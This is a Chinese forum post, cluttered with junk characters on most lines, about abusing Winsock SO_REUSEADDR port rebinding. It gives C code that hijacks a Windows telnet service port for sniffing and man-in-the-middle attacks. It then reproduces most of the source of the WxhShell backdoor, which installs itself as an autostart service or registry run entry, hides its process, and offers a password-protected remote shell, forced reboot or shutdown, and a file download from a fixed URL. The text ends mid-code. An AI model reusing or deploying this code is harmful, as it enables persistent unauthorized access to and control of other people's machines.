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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >zAUW[]C:I  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Wbr+ KX8)  
yY?b.ty  
  saddr.sin_family = AF_INET; Gx`Lks  
/ 0 O=(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); '3zc|eJt&  
<-D/O$q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^8.]d~j  
YIw1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9mA{K    
.X# `k  
  这意味着什么?意味着可以进行如下的攻击: ^[:p|U2mA  
1-lu\"H`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;rc`OZyE  
i&{DOI%w  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) M5gWD==uP  
-f*P nxg  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 sMu] /'7  
O T.*pk+<)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  X}+>!%W!}  
;)N>t\v  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wF((  
EoK~S\dS  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 '!/<P"5t  
|{CfWSB7~@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8Z(Mvq]f&  
: q#Xq;Wp  
  #include 6I@h9uIsze  
  #include n{6G"t:^l  
  #include g+J-Zg6  
  #include    0u\GO;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?@E!u|]K  
  int main() E? _Z`*h  
  { PLK3v4kVM!  
  WORD wVersionRequested; ZYC<Wb)I  
  DWORD ret; 1t)il^p4[;  
  WSADATA wsaData; xlQBe-Wg  
  BOOL val; 4$P0:  
  SOCKADDR_IN saddr; }GeSu|m(  
  SOCKADDR_IN scaddr; On?p 9^9  
  int err; 8- 2cRs  
  SOCKET s; 7(pF[LCF  
  SOCKET sc; ?Y@N`S  
  int caddsize;  4^M  
  HANDLE mt; y3fGWa*7e  
  DWORD tid;   y&V@^ "`  
  wVersionRequested = MAKEWORD( 2, 2 ); 9I4K}R  
  err = WSAStartup( wVersionRequested, &wsaData ); rx]  @A  
  if ( err != 0 ) { ax(c#  
  printf("error!WSAStartup failed!\n"); ? #fu.YE\  
  return -1; E{|W(z,  
  } Y'8?.a]'  
  saddr.sin_family = AF_INET; "1%5,  
   V,cBk  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +F^^c2E  
\--8lH -K  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `\}v#2VJ  
  saddr.sin_port = htons(23); lhqg$lb  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H!$o$}A  
  { #w' kV#  
  printf("error!socket failed!\n"); [Al&  
  return -1; INJEsz  
  } cLLbZ=`  
  val = TRUE; NxsBX :XDn  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !wNr3LG  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Eea*s'  
  { Dy:|g1>  
  printf("error!setsockopt failed!\n"); FY#C.mL  
  return -1; sG F aL  
  } ]x(!&y:h  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?vbvBu{a  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Z'.AAOG  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0@%v1Oja  
*2,VyY  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) eS~LF.^Jw  
  { -w"VK|SGm  
  ret=GetLastError(); 5fd]v<  
  printf("error!bind failed!\n"); E&[{4Ml  
  return -1; 5:KQg  
  } Y2~nBb  
  listen(s,2); gcl5jB5)>  
  while(1) oU.R2\Q  
  { zd >t-?g  
  caddsize = sizeof(scaddr); l4uMG]m  
  //接受连接请求 (2$p{Uf  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); z?R|Ok  
  if(sc!=INVALID_SOCKET) !WQ-=0cm  
  { oYm[V<nIl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); nH[yJGZYSA  
  if(mt==NULL) Wa{`VS  
  { @eKec1<  
  printf("Thread Creat Failed!\n"); )QU  
  break; ! t?iXZ  
  } :% ,:"  
  } Ezd_`_@R  
  CloseHandle(mt); D$I5z.a  
  } wNpTM8rfU#  
  closesocket(s); 4\8+9b\9"  
  WSACleanup(); 1cpiHZa  
  return 0; !ug8SAOaz/  
  }   5>D>% iaHv  
  DWORD WINAPI ClientThread(LPVOID lpParam) Q7jb'y$ozO  
  { sN9&,&W1  
  SOCKET ss = (SOCKET)lpParam; BHU6t<G  
  SOCKET sc; {#?N  
  unsigned char buf[4096];  Ac2n  
  SOCKADDR_IN saddr; *Doa* wQ  
  long num; LnH?dy  
  DWORD val; S.-TOE  
  DWORD ret; '!!CeDy  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8 Hg+H=?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2fn&#kw/  
  saddr.sin_family = AF_INET; 0=2@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |EX(8y  
  saddr.sin_port = htons(23); TJ6*t!'*X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s %j_H  
  { ux vqMgR  
  printf("error!socket failed!\n"); 1mOh{:1u  
  return -1; Y)*#)f  
  } Z`ID+  
  val = 100; 5B3G @KR  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o,AAC  
  { aBNc(?ri  
  ret = GetLastError(); qNB<T('  
  return -1; 7:plQ !7^  
  } $P^q!H4D  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S2sQOM@  
  { YNKHN2E8  
  ret = GetLastError(); P}n_IV*@  
  return -1; R3gdLa.  
  } ;- ~B)M_S`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qr"3y  
  { 7)`nD<j 5  
  printf("error!socket connect failed!\n"); vWz m @  
  closesocket(sc); ` Mjj@[  
  closesocket(ss); *\+\5pu0  
  return -1; qouhuH_WtJ  
  } Z'`<5A%;  
  while(1) 0l)~i' '  
  { n' n/Tu   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6F!+T=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 xpV|\2C  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4&<oFW\r  
  num = recv(ss,buf,4096,0); pjKWtY@=X  
  if(num>0) `VA"vwz  
  send(sc,buf,num,0); wh$sn:J  
  else if(num==0) iVhJ t#_b  
  break; >E;uU[v)I  
  num = recv(sc,buf,4096,0); Lb:g4A"  
  if(num>0) ]!?;@$wx  
  send(ss,buf,num,0); e^6)Zz1\  
  else if(num==0) 9-&Ttbb4)0  
  break; % ?0:vn  
  } @vC4[:"pD}  
  closesocket(ss); w'Y7IlC  
  closesocket(sc); Xv ]W(f1  
  return 0 ; FtP0krO(  
  } nv*FT  
5sj4;w[  
q;T{|5/O  
========================================================== x9UX!Z5*>  
Z]>O+  
下边附上一个代码,,WXhSHELL |mxDjgq  
!JHL\M>A5  
========================================================== XKj|f`  
]#)()6)2v  
#include "stdafx.h" BTqS'NuT  
! `   
#include <stdio.h> kJ'!r  
#include <string.h> :;t:H] f  
#include <windows.h> 0gW"i&7c  
#include <winsock2.h> u%&`}g  
#include <winsvc.h> dyz2.ZY~2  
#include <urlmon.h> Yg]-wQrH  
M8kPj8}{  
#pragma comment (lib, "Ws2_32.lib") ` 06;   
#pragma comment (lib, "urlmon.lib") jl4rbzse  
}|0^EWL  
#define MAX_USER   100 // 最大客户端连接数 2J7:\pR^  
#define BUF_SOCK   200 // sock buffer %aG5F}S2~  
#define KEY_BUFF   255 // 输入 buffer 9vuyv*-}e  
]l_\71  
#define REBOOT     0   // 重启 %". HaI]  
#define SHUTDOWN   1   // 关机 [L3=x;U  
5;tD"/nz  
#define DEF_PORT   5000 // 监听端口 s 1 A.+  
8g@<d ^8@  
#define REG_LEN     16   // 注册表键长度 <GS^  
#define SVC_LEN     80   // NT服务名长度 q(  
t6bV?nc  
// 从dll定义API bkOv2tZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BRw .]&/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y`<*U;xL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .5^cb%B*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a@_4PWzF:  
~8'sBT  
// wxhshell配置信息 "0"nw 2g?  
struct WSCFG { [<Mx2<8f  
  int ws_port;         // 监听端口 2%DSUv:H%  
  char ws_passstr[REG_LEN]; // 口令 ($q-_m  
  int ws_autoins;       // 安装标记, 1=yes 0=no "Gsc;X'id  
  char ws_regname[REG_LEN]; // 注册表键名 *>Ns_su7W  
  char ws_svcname[REG_LEN]; // 服务名 TH%Qhv\]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;v}GJ<3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .?8;qA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wcrCEX=I>{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -o ^7r@6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LC,F <>w1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b o6d)Q  
zU5v /'h>d  
}; qzYwt]GNS  
R5N%e%[  
// default Wxhshell configuration CuaVb1r  
struct WSCFG wscfg={DEF_PORT, ^h(ew1:  
    "xuhuanlingzhe", R{C(K(5/  
    1, `l\7+0W  
    "Wxhshell", m( r,Acy6  
    "Wxhshell", =:xW>@bh|  
            "WxhShell Service",  L O}@dL  
    "Wrsky Windows CmdShell Service", Z+*9#!?J  
    "Please Input Your Password: ", 9g9HlB&Ze  
  1, Xpr?Kgz  
  "http://www.wrsky.com/wxhshell.exe", Y xr>"KH6a  
  "Wxhshell.exe" T:27r8"Rh  
    }; OV1_|##LC  
0z`a1 %U  
// 消息定义模块 0!4Ts3qn1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LK{*sHi$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I:=S 0&%)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a!zz6/q[  
char *msg_ws_ext="\n\rExit."; *z5.vtfu!  
char *msg_ws_end="\n\rQuit."; .<->C?#  
char *msg_ws_boot="\n\rReboot..."; 4X!/hI=jq  
char *msg_ws_poff="\n\rShutdown..."; 7BE>RE=)  
char *msg_ws_down="\n\rSave to "; ux=w!y;}  
]N~2 .h  
char *msg_ws_err="\n\rErr!"; )1]ZtU  
char *msg_ws_ok="\n\rOK!"; 2i)^ !c  
bg!/%[ {M  
char ExeFile[MAX_PATH]; W,K;6TZhh  
int nUser = 0; M,j U}yD3  
HANDLE handles[MAX_USER]; aZH:#lUlj  
int OsIsNt; ${<%" hR$  
W =D4r  
SERVICE_STATUS       serviceStatus; 216RiSr*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n4O]8C'lW9  
k9<;woOBO  
// 函数声明 35h 8O,Y  
int Install(void); 'F/~o1\.  
int Uninstall(void); 5VfyU8)7X  
int DownloadFile(char *sURL, SOCKET wsh); {0L1X6eg  
int Boot(int flag);  `xKp%9  
void HideProc(void); T.])diuvj-  
int GetOsVer(void); 6Pz4\uE=  
int Wxhshell(SOCKET wsl); 'K$[^V  
void TalkWithClient(void *cs); B al`y  
int CmdShell(SOCKET sock); r)Ma3FL0;  
int StartFromService(void); |J1$= s  
int StartWxhshell(LPSTR lpCmdLine); vHgi <@u  
>Rl"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *l"T$H   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E@z<:pG{  
&yct!YOB2  
// 数据结构和表定义 _?-E7:Sw  
SERVICE_TABLE_ENTRY DispatchTable[] = LGq'WU31:)  
{ DF&(8NoX~  
{wscfg.ws_svcname, NTServiceMain}, oK9( /v  
{NULL, NULL} > $O]Eu!  
}; U&g@.,Y#  
$POu\TO  
// 自我安装 )cW#Rwu_A4  
int Install(void) gt\E`HB8E  
{ HCIU!4rH  
  char svExeFile[MAX_PATH]; _mj,u64  
  HKEY key; 7!$Q;A  
  strcpy(svExeFile,ExeFile); WQx?[tW(U  
c/:b.>W  
// 如果是win9x系统,修改注册表设为自启动 ~Zun&b)S  
if(!OsIsNt) { /74QMx?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;nI] !g:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0%32=k7O[  
  RegCloseKey(key); /,BD#|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #%pI(,o=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h8x MI  
  RegCloseKey(key); e|g5=2(Pr&  
  return 0; 2A']y D  
    } ] vz%iv_  
  } a1g,@0s  
} )1Y{Q Y}l  
else { X@--m6-  
>,v`EIg  
// 如果是NT以上系统,安装为系统服务 eln)BW#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HSw;^E)1  
if (schSCManager!=0) [ZNtCnv  
{ FVMD>=k  
  SC_HANDLE schService = CreateService b10cuy|a/X  
  ( tl[Uw[  
  schSCManager, 'S20\hwt-  
  wscfg.ws_svcname, <kfnpB=  
  wscfg.ws_svcdisp, h! M  
  SERVICE_ALL_ACCESS, %Si6]3-^@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $r^GE  
  SERVICE_AUTO_START, O n8v//=&  
  SERVICE_ERROR_NORMAL, "x#-sZ=  
  svExeFile, -m\u  
  NULL, <3oWEm  
  NULL, I~[F|d>  
  NULL, el&0}`K  
  NULL, H/"-Z;0{  
  NULL vRznw&^E  
  ); q?H|o(  
  if (schService!=0) }V'} E\\  
  { 2pZXZ  
  CloseServiceHandle(schService); R &n Pj~  
  CloseServiceHandle(schSCManager); |sa]F5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n#cC+>*>+  
  strcat(svExeFile,wscfg.ws_svcname); ):P?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { imVo<Je7z(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~b(i&DVK  
  RegCloseKey(key); @tF\p  
  return 0; 2my_;!6T[  
    } 8mCxn@yV  
  } .14~J6  
  CloseServiceHandle(schSCManager); 4%{,] q\p  
} zp6C3RG(  
} S\^P ha q  
32(^Te]:  
return 1; t;){D:]k  
} &]Q@7Nl7:l  
.L+6 $8m  
// 自我卸载 /hpY f]t  
int Uninstall(void) x" 7H5<  
{ |a8iZ9/D6  
  HKEY key; ;Y)w@bNt@  
bAdn &   
if(!OsIsNt) { ov|d^)'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u :}%xD6  
  RegDeleteValue(key,wscfg.ws_regname); Y`KqEjsC*  
  RegCloseKey(key); QfmJn((  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZVW'>M7.  
  RegDeleteValue(key,wscfg.ws_regname); @MoKWfc  
  RegCloseKey(key); "H2EL}3/]  
  return 0; WEAT01  
  } mR!1DQ.\<  
} n#mA/H;wV  
} =WyDp97@+  
else { %Wg'i!?cB  
C:GK,?!Jn'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9U7nKJ+iby  
if (schSCManager!=0) } F E>|1  
{ k3~}7]O)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bjyZk_\  
  if (schService!=0) GL&y@6  
  { K:J3Z5"  
  if(DeleteService(schService)!=0) { QZ!Y2Bz(4  
  CloseServiceHandle(schService); 6=kEyJT'  
  CloseServiceHandle(schSCManager); L]yS[UN$  
  return 0; {GvJZ!,RCg  
  } f}6s Q5  
  CloseServiceHandle(schService); o5d%w-'  
  } qjwxhabc  
  CloseServiceHandle(schSCManager); /{Is0+)  
} ag;Q F  
} qjc8fP2  
Y&`=jDI  
return 1; W'els)WJ|x  
} hC:n5]K  
 JR'  
// 从指定url下载文件 q~ tz? T_  
int DownloadFile(char *sURL, SOCKET wsh) 88Ey12$  
{ 8."]//V  
  HRESULT hr; "7U4'Y:E  
char seps[]= "/"; AW%50V  
char *token; [<7@{;r  
char *file; %W'v}p  
char myURL[MAX_PATH]; ^9m\=5d  
char myFILE[MAX_PATH]; $': E\*ICb  
ycc4W*]  
strcpy(myURL,sURL); 0;hqIJcE:\  
  token=strtok(myURL,seps); >f^r^P  
  while(token!=NULL) Y1L[;)Hn  
  { Uq[>_"}  
    file=token; uyO/55;HO  
  token=strtok(NULL,seps); f0A{W/0n  
  } 'SO %)B  
:8I9\eet3  
GetCurrentDirectory(MAX_PATH,myFILE); 9FoHD  
strcat(myFILE, "\\"); 1 Rq,a  
strcat(myFILE, file); B|Du@^$  
  send(wsh,myFILE,strlen(myFILE),0); dW)B1iUo!  
send(wsh,"...",3,0); Ki4r<>\l{H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F7A=GF'  
  if(hr==S_OK) ZLc -RM  
return 0; %}[i'rT>  
else AmvEf  
return 1; }\hVy(\c  
6wPaJbRtaM  
} EH$1fvE  
tW.9yII  
// 系统电源模块 26e]`]!SU  
int Boot(int flag) i=ea ?eT`  
{ {mm)ay|M  
  HANDLE hToken; Bz^jw>1b  
  TOKEN_PRIVILEGES tkp; 5:\},n+VE  
67VL@ ]  
  if(OsIsNt) { # Nk;4:[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hmvfw:Nq4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kC WEtbz1  
    tkp.PrivilegeCount = 1; oNr-Q& C,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H[{F'c[e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E8!e:l =Q  
if(flag==REBOOT) { d.3E[AJa(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;i8g41qjF  
  return 0; . kQkC:~9  
} M*y)6H k~  
else { ^({})T0wu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %u?>#  
  return 0; <S\jpB  
} 8N!b>??  
  } " f <Z=c  
  else { WgR).Yx  
if(flag==REBOOT) { ,f<?;z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vmi+_]   
  return 0; DD7h^-x  
} $g@=Z"  
else { xRJ\E }/7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M.Y~1c4f  
  return 0; jDKO} bQ  
} Jy^u?  
} cU RkP`  
 0bz'&  
return 1; ?@BTGUK"C  
} .Fs7z7?Y  
2n3W=dF  
// win9x进程隐藏模块 0f~C#/[t7  
void HideProc(void) :a^t3s  
{ <_h~w}  
rk&IlAE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N6>(;ugJ1-  
  if ( hKernel != NULL ) f) znTJL  
  { N|1M1EBOu>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QU4h8}$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #J@[Wd  
    FreeLibrary(hKernel); s2teym,uG  
  } 0x'#_G65y  
ZNJ@F<  
return; %+f>2U4I  
} >,TUZ  
V:qSy#e  
// 获取操作系统版本 0M*Z'n +  
int GetOsVer(void) rw: c  
{ $RYa6"`  
  OSVERSIONINFO winfo; Q(@U2a8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3cFf#a#  
  GetVersionEx(&winfo); (^s>m,h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O9vQp  
  return 1; 5pj22 s  
  else E'G4Y-  
  return 0; N8k00*p65  
} 6 2'j!"xv  
>v:y?A,  
// 客户端句柄模块 5Ec6),+&  
int Wxhshell(SOCKET wsl) {F3xJ[  
{ p rYs $j  
  SOCKET wsh; oT^{b\XN  
  struct sockaddr_in client; LISM ngQ.  
  DWORD myID; ./,/y"x  
lm!.W5-l  
  while(nUser<MAX_USER) rv &<{@AS~  
{ \wo?47+=  
  int nSize=sizeof(client); >[MX:Yh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `)` n(B  
  if(wsh==INVALID_SOCKET) return 1; 0C1pt5K  
o4j[p3$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cimp/n"  
if(handles[nUser]==0) %{ABaeb]  
  closesocket(wsh); d^RxQuA  
else IHe/xQ@  
  nUser++; `Zf^E >)  
  } rQk<90Ar  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K!:azP,bZ  
?6Jx@Sh  
  return 0; NYE` Kin-  
} hHN'w73z  
&Nj3h(Ll  
// 关闭 socket @HQ`~C#Z'  
void CloseIt(SOCKET wsh) )#P; x "  
{ 1>*#%R?W  
closesocket(wsh);  9XP o3;  
nUser--; ~R_ztD+C(  
ExitThread(0); lV`Q{bd+  
} H(bs$C4F  
F5?m6`g?  
// 客户端请求句柄 'd.EC#  
void TalkWithClient(void *cs)  5V6G=H  
{ pNOwDJtK  
qC}-_u7s  
  SOCKET wsh=(SOCKET)cs; DBPRGQ  
  char pwd[SVC_LEN]; y<HO:kZ8`  
  char cmd[KEY_BUFF]; W{%TlN  
char chr[1]; K&nE_.kbl  
int i,j; v 0 }@  
n1JRDw"e$$  
  while (nUser < MAX_USER) { hn^<;av=  
d`P7}*; `  
if(wscfg.ws_passstr) { {6"Ph(I1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "{tg8-a4)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H$@`,{M629  
  //ZeroMemory(pwd,KEY_BUFF); k40* e\  
      i=0; b vS(@  
  while(i<SVC_LEN) { afv~r>q(-  
OZx W?wnd  
  // 设置超时 AmaT0tzJC  
  fd_set FdRead; ]e^c=O`$  
  struct timeval TimeOut; Y<mej][  
  FD_ZERO(&FdRead); E}Y!O"CAV  
  FD_SET(wsh,&FdRead); )f}YW/'  
  TimeOut.tv_sec=8; R<[qGt|L  
  TimeOut.tv_usec=0; :A1{d?B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Qy.w=80kf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "5-^l.CKH  
V^JV4 `o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N F2/B#q  
  pwd=chr[0]; ~;1l9^N|  
  if(chr[0]==0xd || chr[0]==0xa) { ~KW,kyXBnD  
  pwd=0; Qj,]N@7  
  break; 7[I}*3Q'  
  } 4kG,*3 &2  
  i++; S/^"@?z,vE  
    } X}tVmO?  
My<snmr2d  
  // 如果是非法用户,关闭 socket "]z-: \ V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dQ_!)f&w1  
} ~V&aUDO>/  
fJ/e(t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~MS\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FO!]P   
U'R)x";=  
while(1) { Yj)#k)x  
6b+b/>G0  
  ZeroMemory(cmd,KEY_BUFF); 7]9 a<  
]<H&+ &!  
      // 自动支持客户端 telnet标准   Ko;{I?c  
  j=0; 0}$Hi  
  while(j<KEY_BUFF) { CACTE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Cg&e(  
  cmd[j]=chr[0]; hvA^n@nr  
  if(chr[0]==0xa || chr[0]==0xd) { lz"OC<D}(  
  cmd[j]=0; BlXB7q,  
  break; }RmU%IYc  
  } kD*2~Z?;  
  j++; Ys@}3\Mc  
    } an|x$e7|?  
p8Q,@ql.  
  // 下载文件 HR ;)|j{!  
  if(strstr(cmd,"http://")) { aCQ?fq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >Y #t`6,!  
  if(DownloadFile(cmd,wsh)) 11<Qxu$rL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); PIH*Rw*GKZ  
  else Z0o~+Ct$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $4tWI O  
  } !|O~$2O@  
  else { U7oo$gW%|T  
"Jt.lL ]5  
    switch(cmd[0]) { 4zJtOK?r"  
  }"=AG  
  // 帮助 "NgxkbDEbG  
  case '?': { u[ L`-zI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T{Sb^-H#X  
    break; /RHo1  
  } /[Z,MG  
  // 安装 GG@ md_  
  case 'i': { s}jHl8  
    if(Install()) F'B8v 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J]&y$?C  
    else 4F{)i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fcNL$U&-,i  
    break; .2>p3|F  
    } o'W5|Gy  
  // 卸载 QAvir%Y9Q  
  case 'r': { ]@uE #a:[  
    if(Uninstall()) |g #K]v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^go7_y  
    else :E>HE,1b+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8"dv_`ym  
    break; q~3,yyu  
    } |4T !&[r  
  // 显示 wxhshell 所在路径 E-I-0h2  
  case 'p': { 0%m)@ukb  
    char svExeFile[MAX_PATH]; <5NF;  
    strcpy(svExeFile,"\n\r"); \ C+(~9@|  
      strcat(svExeFile,ExeFile); zipS ]YD  
        send(wsh,svExeFile,strlen(svExeFile),0); {@tv>!WW  
    break; 4?-.Z UT-1  
    } qEpi]=|  
  // 重启 1jc, Y.mP  
  case 'b': { yqi^>Ce0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "FTfk  
    if(Boot(REBOOT)) f. FYR|%tq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SE),":aY  
    else { ``OD.aY^s  
    closesocket(wsh); 'bo~%WA]n  
    ExitThread(0); XLL/4)  
    } [1F* bI  
    break; 'ow.=1N-  
    } =li|  
  // 关机 'g$(QvGF 9  
  case 'd': { 4\6N~P86  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iVd.f A  
